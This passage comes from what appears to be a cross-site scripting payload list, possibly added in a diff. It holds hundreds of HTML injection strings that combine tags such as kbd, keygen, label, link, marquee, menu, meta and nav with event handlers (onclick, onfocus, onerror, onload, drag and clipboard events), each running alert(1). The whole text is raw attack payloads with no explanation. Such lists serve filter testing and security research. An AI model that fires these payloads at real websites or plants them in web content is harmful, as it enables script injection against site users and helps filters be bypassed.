tabindex=1 id=x></isindex><input autofocus> +<isindex onkeydown="alert(1)" contenteditable>test</isindex> +<isindex onkeypress="alert(1)" contenteditable>test</isindex> +<isindex onkeyup="alert(1)" contenteditable>test</isindex> +<isindex onmousedown="alert(1)">test</isindex> +<isindex onmouseenter="alert(1)">test</isindex> +<isindex onmouseleave="alert(1)">test</isindex> +<isindex onmousemove="alert(1)">test</isindex> +<isindex onmouseout="alert(1)">test</isindex> +<isindex onmouseover="alert(1)">test</isindex> +<isindex onmouseup="alert(1)">test</isindex> +<isindex onpaste="alert(1)" contenteditable>test</isindex> +<isindex type=image onload=alert(1) src=validimage.png> +<isindex type=image src=1 onerror=alert(1)> +<kbd draggable="true" ondrag="alert(1)">test</kbd> +<kbd draggable="true" ondragend="alert(1)">test</kbd> +<kbd draggable="true" ondragenter="alert(1)">test</kbd> +<kbd draggable="true" ondragleave="alert(1)">test</kbd> +<kbd draggable="true" ondragstart="alert(1)">test</kbd> +<kbd id=x tabindex=1 onactivate=alert(1)></kbd> +<kbd id=x tabindex=1 onbeforeactivate=alert(1)></kbd> +<kbd id=x tabindex=1 onbeforedeactivate=alert(1)></kbd><input autofocus> +<kbd id=x tabindex=1 ondeactivate=alert(1)></kbd><input id=y autofocus> +<kbd id=x tabindex=1 onfocus=alert(1)></kbd> +<kbd id=x tabindex=1 onfocusin=alert(1)></kbd> +<kbd onbeforecopy="alert(1)" contenteditable>test</kbd> +<kbd onbeforecut="alert(1)" contenteditable>test</kbd> +<kbd onbeforepaste="alert(1)" contenteditable>test</kbd> +<kbd onblur=alert(1) tabindex=1 id=x></kbd><input autofocus> +<kbd onclick="alert(1)">test</kbd> +<kbd oncontextmenu="alert(1)">test</kbd> +<kbd oncopy="alert(1)" contenteditable>test</kbd> +<kbd oncut="alert(1)" contenteditable>test</kbd> +<kbd ondblclick="alert(1)">test</kbd> +<kbd onfocusout=alert(1) tabindex=1 id=x></kbd><input autofocus> +<kbd onkeydown="alert(1)" contenteditable>test</kbd> +<kbd onkeypress="alert(1)" contenteditable>test</kbd> +<kbd onkeyup="alert(1)" contenteditable>test</kbd> +<kbd onmousedown="alert(1)">test</kbd> +<kbd onmouseenter="alert(1)">test</kbd> +<kbd onmouseleave="alert(1)">test</kbd> +<kbd onmousemove="alert(1)">test</kbd> +<kbd onmouseout="alert(1)">test</kbd> +<kbd onmouseover="alert(1)">test</kbd> +<kbd onmouseup="alert(1)">test</kbd> +<kbd onpaste="alert(1)" contenteditable>test</kbd> +<keygen autofocus onfocus=alert(1)> +<keygen autofocus onfocusin=alert(1)> +<keygen draggable="true" ondrag="alert(1)">test</keygen> +<keygen draggable="true" ondragend="alert(1)">test</keygen> +<keygen draggable="true" ondragenter="alert(1)">test</keygen> +<keygen draggable="true" ondragleave="alert(1)">test</keygen> +<keygen draggable="true" ondragstart="alert(1)">test</keygen> +<keygen id=x onfocus=alert(1)> +<keygen id=x onfocusin=alert(1)> +<keygen id=x tabindex=1 onactivate=alert(1)></keygen> +<keygen id=x tabindex=1 onbeforeactivate=alert(1)></keygen> +<keygen id=x tabindex=1 onbeforedeactivate=alert(1)></keygen><input autofocus> +<keygen id=x tabindex=1 ondeactivate=alert(1)></keygen><input id=y autofocus> +<keygen onbeforecopy="alert(1)" contenteditable>test</keygen> +<keygen onbeforecut="alert(1)" contenteditable>test</keygen> +<keygen onbeforepaste="alert(1)" contenteditable>test</keygen> +<keygen onblur=alert(1) tabindex=1 id=x></keygen><input autofocus> +<keygen onclick="alert(1)">test</keygen> +<keygen oncontextmenu="alert(1)">test</keygen> +<keygen oncopy="alert(1)" contenteditable>test</keygen> +<keygen oncut="alert(1)" contenteditable>test</keygen> +<keygen ondblclick="alert(1)">test</keygen> +<keygen onfocusout=alert(1) tabindex=1 id=x></keygen><input autofocus> +<keygen onkeydown="alert(1)" contenteditable>test</keygen> +<keygen onkeypress="alert(1)" contenteditable>test</keygen> +<keygen onkeyup="alert(1)" contenteditable>test</keygen> +<keygen onmousedown="alert(1)">test</keygen> +<keygen onmouseenter="alert(1)">test</keygen> +<keygen onmouseleave="alert(1)">test</keygen> +<keygen onmousemove="alert(1)">test</keygen> +<keygen onmouseout="alert(1)">test</keygen> +<keygen onmouseover="alert(1)">test</keygen> +<keygen onmouseup="alert(1)">test</keygen> +<keygen onpaste="alert(1)" contenteditable>test</keygen> +<label draggable="true" ondrag="alert(1)">test</label> +<label draggable="true" ondragend="alert(1)">test</label> +<label draggable="true" ondragenter="alert(1)">test</label> +<label draggable="true" ondragleave="alert(1)">test</label> +<label draggable="true" ondragstart="alert(1)">test</label> +<label id=x tabindex=1 onactivate=alert(1)></label> +<label id=x tabindex=1 onbeforeactivate=alert(1)></label> +<label id=x tabindex=1 onbeforedeactivate=alert(1)></label><input autofocus> +<label id=x tabindex=1 ondeactivate=alert(1)></label><input id=y autofocus> +<label id=x tabindex=1 onfocus=alert(1)></label> +<label id=x tabindex=1 onfocusin=alert(1)></label> +<label onbeforecopy="alert(1)" contenteditable>test</label> +<label onbeforecut="alert(1)" contenteditable>test</label> +<label onbeforepaste="alert(1)" contenteditable>test</label> +<label onblur=alert(1) tabindex=1 id=x></label><input autofocus> +<label onclick="alert(1)">test</label> +<label oncontextmenu="alert(1)">test</label> +<label oncopy="alert(1)" contenteditable>test</label> +<label oncut="alert(1)" contenteditable>test</label> +<label ondblclick="alert(1)">test</label> +<label onfocusout=alert(1) tabindex=1 id=x></label><input autofocus> +<label onkeydown="alert(1)" contenteditable>test</label> +<label onkeypress="alert(1)" contenteditable>test</label> +<label onkeyup="alert(1)" contenteditable>test</label> +<label onmousedown="alert(1)">test</label> +<label onmouseenter="alert(1)">test</label> +<label onmouseleave="alert(1)">test</label> +<label onmousemove="alert(1)">test</label> +<label onmouseout="alert(1)">test</label> +<label onmouseover="alert(1)">test</label> +<label onmouseup="alert(1)">test</label> +<label onpaste="alert(1)" contenteditable>test</label> +<legend draggable="true" ondrag="alert(1)">test</legend> +<legend draggable="true" ondragend="alert(1)">test</legend> +<legend draggable="true" ondragenter="alert(1)">test</legend> +<legend draggable="true" ondragleave="alert(1)">test</legend> +<legend draggable="true" ondragstart="alert(1)">test</legend> +<legend id=x tabindex=1 onactivate=alert(1)></legend> +<legend id=x tabindex=1 onbeforeactivate=alert(1)></legend> +<legend id=x tabindex=1 onbeforedeactivate=alert(1)></legend><input autofocus> +<legend id=x tabindex=1 ondeactivate=alert(1)></legend><input id=y autofocus> +<legend id=x tabindex=1 onfocus=alert(1)></legend> +<legend id=x tabindex=1 onfocusin=alert(1)></legend> +<legend onbeforecopy="alert(1)" contenteditable>test</legend> +<legend onbeforecut="alert(1)" contenteditable>test</legend> +<legend onbeforepaste="alert(1)" contenteditable>test</legend> +<legend onblur=alert(1) tabindex=1 id=x></legend><input autofocus> +<legend onclick="alert(1)">test</legend> +<legend oncontextmenu="alert(1)">test</legend> +<legend oncopy="alert(1)" contenteditable>test</legend> +<legend oncut="alert(1)" contenteditable>test</legend> +<legend ondblclick="alert(1)">test</legend> +<legend onfocusout=alert(1) tabindex=1 id=x></legend><input autofocus> +<legend onkeydown="alert(1)" contenteditable>test</legend> +<legend onkeypress="alert(1)" contenteditable>test</legend> +<legend onkeyup="alert(1)" contenteditable>test</legend> +<legend onmousedown="alert(1)">test</legend> +<legend onmouseenter="alert(1)">test</legend> +<legend onmouseleave="alert(1)">test</legend> +<legend onmousemove="alert(1)">test</legend> +<legend onmouseout="alert(1)">test</legend> +<legend onmouseover="alert(1)">test</legend> +<legend onmouseup="alert(1)">test</legend> +<legend onpaste="alert(1)" contenteditable>test</legend> +<li draggable="true" ondrag="alert(1)">test</li> +<li draggable="true" ondragend="alert(1)">test</li> +<li draggable="true" ondragenter="alert(1)">test</li> +<li draggable="true" ondragleave="alert(1)">test</li> +<li draggable="true" ondragstart="alert(1)">test</li> +<li id=x tabindex=1 onactivate=alert(1)></li> +<li id=x tabindex=1 onbeforeactivate=alert(1)></li> +<li id=x tabindex=1 onbeforedeactivate=alert(1)></li><input autofocus> +<li id=x tabindex=1 ondeactivate=alert(1)></li><input id=y autofocus> +<li id=x tabindex=1 onfocus=alert(1)></li> +<li id=x tabindex=1 onfocusin=alert(1)></li> +<li onbeforecopy="alert(1)" contenteditable>test</li> +<li onbeforecut="alert(1)" contenteditable>test</li> +<li onbeforepaste="alert(1)" contenteditable>test</li> +<li onblur=alert(1) tabindex=1 id=x></li><input autofocus> +<li onclick="alert(1)">test</li> +<li oncontextmenu="alert(1)">test</li> +<li oncopy="alert(1)" contenteditable>test</li> +<li oncut="alert(1)" contenteditable>test</li> +<li ondblclick="alert(1)">test</li> +<li onfocusout=alert(1) tabindex=1 id=x></li><input autofocus> +<li onkeydown="alert(1)" contenteditable>test</li> +<li onkeypress="alert(1)" contenteditable>test</li> +<li onkeyup="alert(1)" contenteditable>test</li> +<li onmousedown="alert(1)">test</li> +<li onmouseenter="alert(1)">test</li> +<li onmouseleave="alert(1)">test</li> +<li onmousemove="alert(1)">test</li> +<li onmouseout="alert(1)">test</li> +<li onmouseover="alert(1)">test</li> +<li onmouseup="alert(1)">test</li> +<li onpaste="alert(1)" contenteditable>test</li> +<link draggable="true" ondrag="alert(1)">test</link> +<link draggable="true" ondragend="alert(1)">test</link> +<link draggable="true" ondragenter="alert(1)">test</link> +<link draggable="true" ondragleave="alert(1)">test</link> +<link draggable="true" ondragstart="alert(1)">test</link> +<link href=validstyles.css rel=stylesheet onload=alert(1)> +<link id=x tabindex=1 onactivate=alert(1)></link> +<link id=x tabindex=1 onbeforeactivate=alert(1)></link> +<link id=x tabindex=1 onbeforedeactivate=alert(1)></link><input autofocus> +<link id=x tabindex=1 ondeactivate=alert(1)></link><input id=y autofocus> +<link onbeforecopy="alert(1)" contenteditable>test</link> +<link onbeforecut="alert(1)" contenteditable>test</link> +<link onbeforepaste="alert(1)" contenteditable>test</link> +<link onblur=alert(1) tabindex=1 id=x></link><input autofocus> +<link onclick="alert(1)">test</link> +<link oncontextmenu="alert(1)">test</link> +<link oncopy="alert(1)" contenteditable>test</link> +<link oncut="alert(1)" contenteditable>test</link> +<link ondblclick="alert(1)">test</link> +<link onfocus=alert(1) id=x tabindex=1 style=display:block> +<link onfocusin=alert(1) id=x tabindex=1 style=display:block> +<link onfocusout=alert(1) tabindex=1 id=x></link><input autofocus> +<link onkeydown="alert(1)" contenteditable>test</link> +<link onkeypress="alert(1)" contenteditable>test</link> +<link onkeyup="alert(1)" contenteditable>test</link> +<link onmousedown="alert(1)">test</link> +<link onmouseenter="alert(1)">test</link> +<link onmouseleave="alert(1)">test</link> +<link onmousemove="alert(1)">test</link> +<link onmouseout="alert(1)">test</link> +<link onmouseover="alert(1)">test</link> +<link onmouseup="alert(1)">test</link> +<link onpaste="alert(1)" contenteditable>test</link> +<link onreadystatechange=alert(1) rel=stylesheet href=1> +<link rel=stylesheet href=1 onerror=alert(1)> +<listing draggable="true" ondrag="alert(1)">test</listing> +<listing draggable="true" ondragend="alert(1)">test</listing> +<listing draggable="true" ondragenter="alert(1)">test</listing> +<listing draggable="true" ondragleave="alert(1)">test</listing> +<listing draggable="true" ondragstart="alert(1)">test</listing> +<listing id=x tabindex=1 onactivate=alert(1)></listing> +<listing id=x tabindex=1 onbeforeactivate=alert(1)></listing> +<listing id=x tabindex=1 onbeforedeactivate=alert(1)></listing><input autofocus> +<listing id=x tabindex=1 ondeactivate=alert(1)></listing><input id=y autofocus> +<listing id=x tabindex=1 onfocus=alert(1)></listing> +<listing id=x tabindex=1 onfocusin=alert(1)></listing> +<listing onbeforecopy="alert(1)" contenteditable>test</listing> +<listing onbeforecut="alert(1)" contenteditable>test</listing> +<listing onbeforepaste="alert(1)" contenteditable>test</listing> +<listing onblur=alert(1) tabindex=1 id=x></listing><input autofocus> +<listing onclick="alert(1)">test</listing> +<listing oncontextmenu="alert(1)">test</listing> +<listing oncopy="alert(1)" contenteditable>test</listing> +<listing oncut="alert(1)" contenteditable>test</listing> +<listing ondblclick="alert(1)">test</listing> +<listing onfocusout=alert(1) tabindex=1 id=x></listing><input autofocus> +<listing onkeydown="alert(1)" contenteditable>test</listing> +<listing onkeypress="alert(1)" contenteditable>test</listing> +<listing onkeyup="alert(1)" contenteditable>test</listing> +<listing onmousedown="alert(1)">test</listing> +<listing onmouseenter="alert(1)">test</listing> +<listing onmouseleave="alert(1)">test</listing> +<listing onmousemove="alert(1)">test</listing> +<listing onmouseout="alert(1)">test</listing> +<listing onmouseover="alert(1)">test</listing> +<listing onmouseup="alert(1)">test</listing> +<listing onpaste="alert(1)" contenteditable>test</listing> +<main draggable="true" ondrag="alert(1)">test</main> +<main draggable="true" ondragend="alert(1)">test</main> +<main draggable="true" ondragenter="alert(1)">test</main> +<main draggable="true" ondragleave="alert(1)">test</main> +<main draggable="true" ondragstart="alert(1)">test</main> +<main id=x tabindex=1 onactivate=alert(1)></main> +<main id=x tabindex=1 onbeforeactivate=alert(1)></main> +<main id=x tabindex=1 onbeforedeactivate=alert(1)></main><input autofocus> +<main id=x tabindex=1 ondeactivate=alert(1)></main><input id=y autofocus> +<main id=x tabindex=1 onfocus=alert(1)></main> +<main id=x tabindex=1 onfocusin=alert(1)></main> +<main onbeforecopy="alert(1)" contenteditable>test</main> +<main onbeforecut="alert(1)" contenteditable>test</main> +<main onbeforepaste="alert(1)" contenteditable>test</main> +<main onblur=alert(1) tabindex=1 id=x></main><input autofocus> +<main onclick="alert(1)">test</main> +<main oncontextmenu="alert(1)">test</main> +<main oncopy="alert(1)" contenteditable>test</main> +<main oncut="alert(1)" contenteditable>test</main> +<main ondblclick="alert(1)">test</main> +<main onfocusout=alert(1) tabindex=1 id=x></main><input autofocus> +<main onkeydown="alert(1)" contenteditable>test</main> +<main onkeypress="alert(1)" contenteditable>test</main> +<main onkeyup="alert(1)" contenteditable>test</main> +<main onmousedown="alert(1)">test</main> +<main onmouseenter="alert(1)">test</main> +<main onmouseleave="alert(1)">test</main> +<main onmousemove="alert(1)">test</main> +<main onmouseout="alert(1)">test</main> +<main onmouseover="alert(1)">test</main> +<main onmouseup="alert(1)">test</main> +<main onpaste="alert(1)" contenteditable>test</main> +<map draggable="true" ondrag="alert(1)">test</map> +<map draggable="true" ondragend="alert(1)">test</map> +<map draggable="true" ondragenter="alert(1)">test</map> +<map draggable="true" ondragleave="alert(1)">test</map> +<map draggable="true" ondragstart="alert(1)">test</map> +<map id=x tabindex=1 onactivate=alert(1)></map> +<map id=x tabindex=1 onbeforeactivate=alert(1)></map> +<map id=x tabindex=1 onbeforedeactivate=alert(1)></map><input autofocus> +<map id=x tabindex=1 ondeactivate=alert(1)></map><input id=y autofocus> +<map id=x tabindex=1 onfocus=alert(1)></map> +<map id=x tabindex=1 onfocusin=alert(1)></map> +<map onbeforecopy="alert(1)" contenteditable>test</map> +<map onbeforecut="alert(1)" contenteditable>test</map> +<map onbeforepaste="alert(1)" contenteditable>test</map> +<map onblur=alert(1) tabindex=1 id=x></map><input autofocus> +<map onclick="alert(1)">test</map> +<map oncontextmenu="alert(1)">test</map> +<map oncopy="alert(1)" contenteditable>test</map> +<map oncut="alert(1)" contenteditable>test</map> +<map ondblclick="alert(1)">test</map> +<map onfocusout=alert(1) tabindex=1 id=x></map><input autofocus> +<map onkeydown="alert(1)" contenteditable>test</map> +<map onkeypress="alert(1)" contenteditable>test</map> +<map onkeyup="alert(1)" contenteditable>test</map> +<map onmousedown="alert(1)">test</map> +<map onmouseenter="alert(1)">test</map> +<map onmouseleave="alert(1)">test</map> +<map onmousemove="alert(1)">test</map> +<map onmouseout="alert(1)">test</map> +<map onmouseover="alert(1)">test</map> +<map onmouseup="alert(1)">test</map> +<map onpaste="alert(1)" contenteditable>test</map> +<mark draggable="true" ondrag="alert(1)">test</mark> +<mark draggable="true" ondragend="alert(1)">test</mark> +<mark draggable="true" ondragenter="alert(1)">test</mark> +<mark draggable="true" ondragleave="alert(1)">test</mark> +<mark draggable="true" ondragstart="alert(1)">test</mark> +<mark id=x tabindex=1 onactivate=alert(1)></mark> +<mark id=x tabindex=1 onbeforeactivate=alert(1)></mark> +<mark id=x tabindex=1 onbeforedeactivate=alert(1)></mark><input autofocus> +<mark id=x tabindex=1 ondeactivate=alert(1)></mark><input id=y autofocus> +<mark id=x tabindex=1 onfocus=alert(1)></mark> +<mark id=x tabindex=1 onfocusin=alert(1)></mark> +<mark onbeforecopy="alert(1)" contenteditable>test</mark> +<mark onbeforecut="alert(1)" contenteditable>test</mark> +<mark onbeforepaste="alert(1)" contenteditable>test</mark> +<mark onblur=alert(1) tabindex=1 id=x></mark><input autofocus> +<mark onclick="alert(1)">test</mark> +<mark oncontextmenu="alert(1)">test</mark> +<mark oncopy="alert(1)" contenteditable>test</mark> +<mark oncut="alert(1)" contenteditable>test</mark> +<mark ondblclick="alert(1)">test</mark> +<mark onfocusout=alert(1) tabindex=1 id=x></mark><input autofocus> +<mark onkeydown="alert(1)" contenteditable>test</mark> +<mark onkeypress="alert(1)" contenteditable>test</mark> +<mark onkeyup="alert(1)" contenteditable>test</mark> +<mark onmousedown="alert(1)">test</mark> +<mark onmouseenter="alert(1)">test</mark> +<mark onmouseleave="alert(1)">test</mark> +<mark onmousemove="alert(1)">test</mark> +<mark onmouseout="alert(1)">test</mark> +<mark onmouseover="alert(1)">test</mark> +<mark onmouseup="alert(1)">test</mark> +<mark onpaste="alert(1)" contenteditable>test</mark> +<marquee draggable="true" ondrag="alert(1)">test</marquee> +<marquee draggable="true" ondragend="alert(1)">test</marquee> +<marquee draggable="true" ondragenter="alert(1)">test</marquee> +<marquee draggable="true" ondragleave="alert(1)">test</marquee> +<marquee draggable="true" ondragstart="alert(1)">test</marquee> +<marquee id=x tabindex=1 onactivate=alert(1)></marquee> +<marquee id=x tabindex=1 onbeforeactivate=alert(1)></marquee> +<marquee id=x tabindex=1 onbeforedeactivate=alert(1)></marquee><input autofocus> +<marquee id=x tabindex=1 ondeactivate=alert(1)></marquee><input id=y autofocus> +<marquee id=x tabindex=1 onfocus=alert(1)></marquee> +<marquee id=x tabindex=1 onfocusin=alert(1)></marquee> +<marquee onbeforecopy="alert(1)" contenteditable>test</marquee> +<marquee onbeforecut="alert(1)" contenteditable>test</marquee> +<marquee onbeforepaste="alert(1)" contenteditable>test</marquee> +<marquee onblur=alert(1) tabindex=1 id=x></marquee><input autofocus> +<marquee onclick="alert(1)">test</marquee> +<marquee oncontextmenu="alert(1)">test</marquee> +<marquee oncopy="alert(1)" contenteditable>test</marquee> +<marquee oncut="alert(1)" contenteditable>test</marquee> +<marquee ondblclick="alert(1)">test</marquee> +<marquee onfocusout=alert(1) tabindex=1 id=x></marquee><input autofocus> +<marquee onkeydown="alert(1)" contenteditable>test</marquee> +<marquee onkeypress="alert(1)" contenteditable>test</marquee> +<marquee onkeyup="alert(1)" contenteditable>test</marquee> +<marquee onmousedown="alert(1)">test</marquee> +<marquee onmouseenter="alert(1)">test</marquee> +<marquee onmouseleave="alert(1)">test</marquee> +<marquee onmousemove="alert(1)">test</marquee> +<marquee onmouseout="alert(1)">test</marquee> +<marquee onmouseover="alert(1)">test</marquee> +<marquee onmouseup="alert(1)">test</marquee> +<marquee onpaste="alert(1)" contenteditable>test</marquee> +<marquee onstart=alert(1)>XSS</marquee> +<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee> +<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee> +<menu draggable="true" ondrag="alert(1)">test</menu> +<menu draggable="true" ondragend="alert(1)">test</menu> +<menu draggable="true" ondragenter="alert(1)">test</menu> +<menu draggable="true" ondragleave="alert(1)">test</menu> +<menu draggable="true" ondragstart="alert(1)">test</menu> +<menu id=x tabindex=1 onactivate=alert(1)></menu> +<menu id=x tabindex=1 onbeforeactivate=alert(1)></menu> +<menu id=x tabindex=1 onbeforedeactivate=alert(1)></menu><input autofocus> +<menu id=x tabindex=1 ondeactivate=alert(1)></menu><input id=y autofocus> +<menu id=x tabindex=1 onfocus=alert(1)></menu> +<menu id=x tabindex=1 onfocusin=alert(1)></menu> +<menu onbeforecopy="alert(1)" contenteditable>test</menu> +<menu onbeforecut="alert(1)" contenteditable>test</menu> +<menu onbeforepaste="alert(1)" contenteditable>test</menu> +<menu onblur=alert(1) tabindex=1 id=x></menu><input autofocus> +<menu onclick="alert(1)">test</menu> +<menu oncontextmenu="alert(1)">test</menu> +<menu oncopy="alert(1)" contenteditable>test</menu> +<menu oncut="alert(1)" contenteditable>test</menu> +<menu ondblclick="alert(1)">test</menu> +<menu onfocusout=alert(1) tabindex=1 id=x></menu><input autofocus> +<menu onkeydown="alert(1)" contenteditable>test</menu> +<menu onkeypress="alert(1)" contenteditable>test</menu> +<menu onkeyup="alert(1)" contenteditable>test</menu> +<menu onmousedown="alert(1)">test</menu> +<menu onmouseenter="alert(1)">test</menu> +<menu onmouseleave="alert(1)">test</menu> +<menu onmousemove="alert(1)">test</menu> +<menu onmouseout="alert(1)">test</menu> +<menu onmouseover="alert(1)">test</menu> +<menu onmouseup="alert(1)">test</menu> +<menu onpaste="alert(1)" contenteditable>test</menu> +<menuitem draggable="true" ondrag="alert(1)">test</menuitem> +<menuitem draggable="true" ondragend="alert(1)">test</menuitem> +<menuitem draggable="true" ondragenter="alert(1)">test</menuitem> +<menuitem draggable="true" ondragleave="alert(1)">test</menuitem> +<menuitem draggable="true" ondragstart="alert(1)">test</menuitem> +<menuitem id=x tabindex=1 onactivate=alert(1)></menuitem> +<menuitem id=x tabindex=1 onbeforeactivate=alert(1)></menuitem> +<menuitem id=x tabindex=1 onbeforedeactivate=alert(1)></menuitem><input autofocus> +<menuitem id=x tabindex=1 ondeactivate=alert(1)></menuitem><input id=y autofocus> +<menuitem id=x tabindex=1 onfocus=alert(1)></menuitem> +<menuitem id=x tabindex=1 onfocusin=alert(1)></menuitem> +<menuitem onbeforecopy="alert(1)" contenteditable>test</menuitem> +<menuitem onbeforecut="alert(1)" contenteditable>test</menuitem> +<menuitem onbeforepaste="alert(1)" contenteditable>test</menuitem> +<menuitem onblur=alert(1) tabindex=1 id=x></menuitem><input autofocus> +<menuitem onclick="alert(1)">test</menuitem> +<menuitem oncontextmenu="alert(1)">test</menuitem> +<menuitem oncopy="alert(1)" contenteditable>test</menuitem> +<menuitem oncut="alert(1)" contenteditable>test</menuitem> +<menuitem ondblclick="alert(1)">test</menuitem> +<menuitem onfocusout=alert(1) tabindex=1 id=x></menuitem><input autofocus> +<menuitem onkeydown="alert(1)" contenteditable>test</menuitem> +<menuitem onkeypress="alert(1)" contenteditable>test</menuitem> +<menuitem onkeyup="alert(1)" contenteditable>test</menuitem> +<menuitem onmousedown="alert(1)">test</menuitem> +<menuitem onmouseenter="alert(1)">test</menuitem> +<menuitem onmouseleave="alert(1)">test</menuitem> +<menuitem onmousemove="alert(1)">test</menuitem> +<menuitem onmouseout="alert(1)">test</menuitem> +<menuitem onmouseover="alert(1)">test</menuitem> +<menuitem onmouseup="alert(1)">test</menuitem> +<menuitem onpaste="alert(1)" contenteditable>test</menuitem> +<meta draggable="true" ondrag="alert(1)">test</meta> +<meta draggable="true" ondragend="alert(1)">test</meta> +<meta draggable="true" ondragenter="alert(1)">test</meta> +<meta draggable="true" ondragleave="alert(1)">test</meta> +<meta draggable="true" ondragstart="alert(1)">test</meta> +<meta id=x tabindex=1 onactivate=alert(1)></meta> +<meta id=x tabindex=1 onbeforeactivate=alert(1)></meta> +<meta id=x tabindex=1 onbeforedeactivate=alert(1)></meta><input autofocus> +<meta id=x tabindex=1 ondeactivate=alert(1)></meta><input id=y autofocus> +<meta id=x tabindex=1 onfocus=alert(1)></meta> +<meta id=x tabindex=1 onfocusin=alert(1)></meta> +<meta onbeforecopy="alert(1)" contenteditable>test</meta> +<meta onbeforecut="alert(1)" contenteditable>test</meta> +<meta onbeforepaste="alert(1)" contenteditable>test</meta> +<meta onblur=alert(1) tabindex=1 id=x></meta><input autofocus> +<meta onclick="alert(1)">test</meta> +<meta oncontextmenu="alert(1)">test</meta> +<meta oncopy="alert(1)" contenteditable>test</meta> +<meta oncut="alert(1)" contenteditable>test</meta> +<meta ondblclick="alert(1)">test</meta> +<meta onfocusout=alert(1) tabindex=1 id=x></meta><input autofocus> +<meta onkeydown="alert(1)" contenteditable>test</meta> +<meta onkeypress="alert(1)" contenteditable>test</meta> +<meta onkeyup="alert(1)" contenteditable>test</meta> +<meta onmousedown="alert(1)">test</meta> +<meta onmouseenter="alert(1)">test</meta> +<meta onmouseleave="alert(1)">test</meta> +<meta onmousemove="alert(1)">test</meta> +<meta onmouseout="alert(1)">test</meta> +<meta onmouseover="alert(1)">test</meta> +<meta onmouseup="alert(1)">test</meta> +<meta onpaste="alert(1)" contenteditable>test</meta> +<meter draggable="true" ondrag="alert(1)">test</meter> +<meter draggable="true" ondragend="alert(1)">test</meter> +<meter draggable="true" ondragenter="alert(1)">test</meter> +<meter draggable="true" ondragleave="alert(1)">test</meter> +<meter draggable="true" ondragstart="alert(1)">test</meter> +<meter id=x tabindex=1 onactivate=alert(1)></meter> +<meter id=x tabindex=1 onbeforeactivate=alert(1)></meter> +<meter id=x tabindex=1 onbeforedeactivate=alert(1)></meter><input autofocus> +<meter id=x tabindex=1 ondeactivate=alert(1)></meter><input id=y autofocus> +<meter id=x tabindex=1 onfocus=alert(1)></meter> +<meter id=x tabindex=1 onfocusin=alert(1)></meter> +<meter onbeforecopy="alert(1)" contenteditable>test</meter> +<meter onbeforecut="alert(1)" contenteditable>test</meter> +<meter onbeforepaste="alert(1)" contenteditable>test</meter> +<meter onblur=alert(1) tabindex=1 id=x></meter><input autofocus> +<meter onclick="alert(1)">test</meter> +<meter oncontextmenu="alert(1)">test</meter> +<meter oncopy="alert(1)" contenteditable>test</meter> +<meter oncut="alert(1)" contenteditable>test</meter> +<meter ondblclick="alert(1)">test</meter> +<meter onfocusout=alert(1) tabindex=1 id=x></meter><input autofocus> +<meter onkeydown="alert(1)" contenteditable>test</meter> +<meter onkeypress="alert(1)" contenteditable>test</meter> +<meter onkeyup="alert(1)" contenteditable>test</meter> +<meter onmousedown="alert(1)">test</meter> +<meter onmouseenter="alert(1)">test</meter> +<meter onmouseleave="alert(1)">test</meter> +<meter onmousemove="alert(1)">test</meter> +<meter onmouseout="alert(1)">test</meter> +<meter onmouseover="alert(1)">test</meter> +<meter onmouseup="alert(1)">test</meter> +<meter onpaste="alert(1)" contenteditable>test</meter> +<multicol draggable="true" ondrag="alert(1)">test</multicol> +<multicol draggable="true" ondragend="alert(1)">test</multicol> +<multicol draggable="true" ondragenter="alert(1)">test</multicol> +<multicol draggable="true" ondragleave="alert(1)">test</multicol> +<multicol draggable="true" ondragstart="alert(1)">test</multicol> +<multicol id=x tabindex=1 onactivate=alert(1)></multicol> +<multicol id=x tabindex=1 onbeforeactivate=alert(1)></multicol> +<multicol id=x tabindex=1 onbeforedeactivate=alert(1)></multicol><input autofocus> +<multicol id=x tabindex=1 ondeactivate=alert(1)></multicol><input id=y autofocus> +<multicol id=x tabindex=1 onfocus=alert(1)></multicol> +<multicol id=x tabindex=1 onfocusin=alert(1)></multicol> +<multicol onbeforecopy="alert(1)" contenteditable>test</multicol> +<multicol onbeforecut="alert(1)" contenteditable>test</multicol> +<multicol onbeforepaste="alert(1)" contenteditable>test</multicol> +<multicol onblur=alert(1) tabindex=1 id=x></multicol><input autofocus> +<multicol onclick="alert(1)">test</multicol> +<multicol oncontextmenu="alert(1)">test</multicol> +<multicol oncopy="alert(1)" contenteditable>test</multicol> +<multicol oncut="alert(1)" contenteditable>test</multicol> +<multicol ondblclick="alert(1)">test</multicol> +<multicol onfocusout=alert(1) tabindex=1 id=x></multicol><input autofocus> +<multicol onkeydown="alert(1)" contenteditable>test</multicol> +<multicol onkeypress="alert(1)" contenteditable>test</multicol> +<multicol onkeyup="alert(1)" contenteditable>test</multicol> +<multicol onmousedown="alert(1)">test</multicol> +<multicol onmouseenter="alert(1)">test</multicol> +<multicol onmouseleave="alert(1)">test</multicol> +<multicol onmousemove="alert(1)">test</multicol> +<multicol onmouseout="alert(1)">test</multicol> +<multicol onmouseover="alert(1)">test</multicol> +<multicol onmouseup="alert(1)">test</multicol> +<multicol onpaste="alert(1)" contenteditable>test</multicol> +<nav draggable="true" ondrag="alert(1)">test</nav> +<nav draggable="true" ondragend="alert(1)">test</nav> +<nav draggable="true" ondragenter="alert(1)">test</nav> +<nav draggable="true" ondragleave="alert(1)">test</nav> +<nav draggable="true" ondragstart="alert(1)">test</nav> +<nav id=x tabindex=1 onactivate=alert(1)></nav> +<nav id=x tabindex=1 onbeforeactivate=alert(1)></nav> +<nav id=x tabindex=1 onbeforedeactivate=alert(1)></nav><input autofocus> +<nav id=x tabindex=1 ondeactivate=alert(1)></nav><input id=y autofocus> +<nav id=x tabindex=1 onfocus=alert(1)></nav> +<nav id=x tabindex=1 onfocusin=alert(1)></nav> +<nav onbeforecopy="alert(1)" contenteditable>test</nav> +<nav onbeforecut="alert(1)" contenteditable>test</nav> +<nav onbeforepaste="alert(1)" contenteditable>test</nav> +<nav onblur=alert(1) tabindex=1 id=x></nav><input autofocus> +<nav onclick="alert(1)">test</nav> +<nav oncontextmenu="alert(1)">test</nav> +<nav oncopy="alert(1)" contenteditable>test</nav> +<nav oncut="alert(1)" contenteditable>test</nav> +<nav ondblclick="alert(1)">test</nav> +<nav onfocusout=alert(1) tabindex=1 id=x></nav><input autofocus> +<nav onkeydown="alert(1)" contenteditable>test</nav> +<nav onkeypress="alert(1)" contenteditable>test</nav> +<nav onkeyup="alert(1)" contenteditable>test</nav> +<nav onmousedown="alert(1)">test</nav> +<nav onmouseenter="alert(1)">test</nav> +<nav onmouseleave="alert(1)">test</nav> +<nav onmousemove="alert(1)">test</nav> 